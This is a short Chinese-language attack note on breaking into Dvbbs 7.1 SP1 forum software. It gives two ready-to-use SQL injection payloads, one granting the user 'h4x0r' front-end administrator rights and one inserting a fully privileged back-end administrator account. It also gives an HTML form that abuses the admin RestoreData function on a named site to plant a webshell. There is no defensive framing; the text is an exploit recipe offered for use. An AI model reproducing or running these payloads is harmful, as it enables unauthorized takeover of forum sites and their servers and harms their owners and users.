入侵动网7.1 SP1 用到的命令
增加前台管理员用户名：
coolidea|||123',0);update/**/Dv_User/**/set/**/UsergroupID='1'/**/where[UserName]='h4x0r';--
加后台管理员用户：
coolidea|||123',0);insert/**/into/**/Dv_admin(Password,Username,Adduser,Flag)/**/values('469e80d32c0559f8','h4x0r','h4x0r','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,');--
拿webshell
<form action="http://www.zhsc.net/bbs/admin/data.asp?action=RestoreData&act=Restore" method="post">
<p>已上传文件的位置：<input name="Dbpath" type="text" size="80"></p>
<p>要复制到的位置：<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p>
不必要在注入拿SHELL了，很方便
只针对SQL版有效~
姓名：Chinadu
近期评论